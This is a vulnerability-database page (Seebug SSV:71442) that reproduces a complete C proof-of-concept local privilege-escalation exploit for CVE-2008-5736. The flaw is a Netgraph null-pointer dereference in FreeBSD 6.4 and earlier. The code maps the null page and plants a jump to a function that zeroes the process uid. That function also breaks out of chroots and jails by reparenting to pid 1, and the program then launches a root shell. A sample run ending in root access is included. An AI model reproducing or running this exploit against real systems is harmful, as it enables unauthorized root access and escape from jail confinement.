Lucene search

K
seebugRootSSV:71442
HistoryJul 01, 2014 - 12:00 a.m.

FreeBSD <= 6.4 Netgraph Local Privledge Escalation Exploit

2014-07-0100:00:00
Root
www.seebug.org
13

0.0004 Low

EPSS

Percentile

10.5%

No description provided by source.


                                                /*
 * FreeBSD &#60;= 6.4-RELEASE Netgraph Exploit
 * by zx2c4
 * 
 * 
 * This is an exploit for CVE-2008-5736, the FreeBSD protosw
 * and loosely based on Don Bailey&#39;s 2008 exploit -
 * http://www.exploit-db.com/exploits/7581/ . The thing with
 * Don&#39;s exploit is that it relies on having a known location
 * of allproc, which means having access to the kernel or
 * debugging symbols, either of which might not be available.
 * Initial attempts included a general memory search for some
 * characteristics of allproc, but this was difficult to make
 * reliable. This solution here is a much more standard - get
 * the current thread, change its permissions, and execl to
 * shell. Additionally, it breaks out of chroots and freebsd
 * jails by reparenting to pid 1 and copying its fds.
 *
 * This reliably works on kernels on or below 6.4-RELEASE:
 *
 * $ gcc a.c
 * $ ./a.out
 * ~ FreeBSD &#60;= 6.4-RELEASE Netgraph Exploit ~
 * ~~~~~~~~~~~~~~~~~ by zx2c4 ~~~~~~~~~~~~~~~~
 * ~~~~~ greetz to don bailey, edemveiss ~~~~~
 *
 * [+] mmapping null page
 * [+] adding jmp to pwnage in null page
 * [+] opening netgraph socket
 * [+] triggering null dereference
 * [+] elevating permissions
 * [+] got root!
 * #
 *
 * It&#39;s an oldie, but simple enough that someone needed
 * to write another PoC exploit at some point.
 *
 * cheers,
 * zx2c4, 27-2-2011
 *
 */

#define _KERNEL
#include &#60;sys/types.h&#62;
#include &#60;sys/time.h&#62;
#include &#60;sys/param.h&#62;
#include &#60;sys/proc.h&#62;
#include &#60;sys/ucred.h&#62;
#include &#60;sys/mman.h&#62;
#include &#60;sys/socket.h&#62;
#include &#60;sys/stat.h&#62;
#include &#60;sys/filedesc.h&#62;
#include &#60;sys/queue.h&#62;
#include &#60;netgraph/ng_socket.h&#62;
#include &#60;stdio.h&#62;
#include &#60;fcntl.h&#62;
#include &#60;unistd.h&#62;

#define PAGES 1


volatile int got_root = 0;
int root(void)
{
	struct thread *thread;
	asm(
		&#34;movl %%fs:0, %0&#34;
		: &#34;=r&#34;(thread)
	);
	thread-&#62;td_critnest = 0;
	thread-&#62;td_proc-&#62;p_ucred-&#62;cr_uid = 0;
	thread-&#62;td_proc-&#62;p_ucred-&#62;cr_prison = NULL;

	struct proc *parent = thread-&#62;td_proc;
	while (parent-&#62;p_pptr && parent-&#62;p_pid != 1)
		parent = parent-&#62;p_pptr;
	thread-&#62;td_proc-&#62;p_fd-&#62;fd_rdir = parent-&#62;p_fd-&#62;fd_rdir;
	thread-&#62;td_proc-&#62;p_fd-&#62;fd_jdir = parent-&#62;p_fd-&#62;fd_jdir;
	thread-&#62;td_proc-&#62;p_fd-&#62;fd_cdir = parent-&#62;p_fd-&#62;fd_cdir;
	thread-&#62;td_proc-&#62;p_pptr = parent;

	got_root = 1;
	return 0;
}

int main(int argc, char *argv[])
{
	printf(&#34;~ FreeBSD &#60;= 6.4-RELEASE Netgraph Exploit ~\n&#34;);
	printf(&#34;~~~~~~~~~~~~~~~~~ by zx2c4 ~~~~~~~~~~~~~~~~\n&#34;);
	printf(&#34;~~~~~ greetz to don bailey, edemveiss ~~~~~\n\n&#34;);

	printf(&#34;[+] mmapping null page\n&#34;);
	if (mmap(NULL, PAGES * PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) &#60; 0) {
		perror(&#34;[-] mmap failed&#34;);
		return -1;
	}

	printf(&#34;[+] adding jmp to pwnage in null page\n&#34;);
	*(char*)0x0 = 0x90;
	*(char*)0x1 = 0xe9;
	*(unsigned long*)0x2 = (unsigned long)&root;

	printf(&#34;[+] opening netgraph socket\n&#34;);
	int s = socket(PF_NETGRAPH, SOCK_DGRAM, NG_DATA);
	if (s &#60; 0) {
		perror(&#34;[-] failed to open netgraph socket&#34;);
		return -1;
	}

	printf(&#34;[+] triggering null dereference\n&#34;);
	shutdown(s, SHUT_RDWR);

	if (!got_root) {
		printf(&#34;[-] failed to trigger pwnage\n&#34;);
		return -1;
	}

	printf(&#34;[+] elevating permissions\n&#34;);
	setuid(0);	
	setgid(0);
	if (getuid() != 0) {
		printf(&#34;[-] failed to get root\n&#34;);
		return -1;
	}

	printf(&#34;[+] got root!\n&#34;);
	execl(&#34;/bin/sh&#34;, &#34;sh&#34;, NULL);

	return 0;
}

                              

0.0004 Low

EPSS

Percentile

10.5%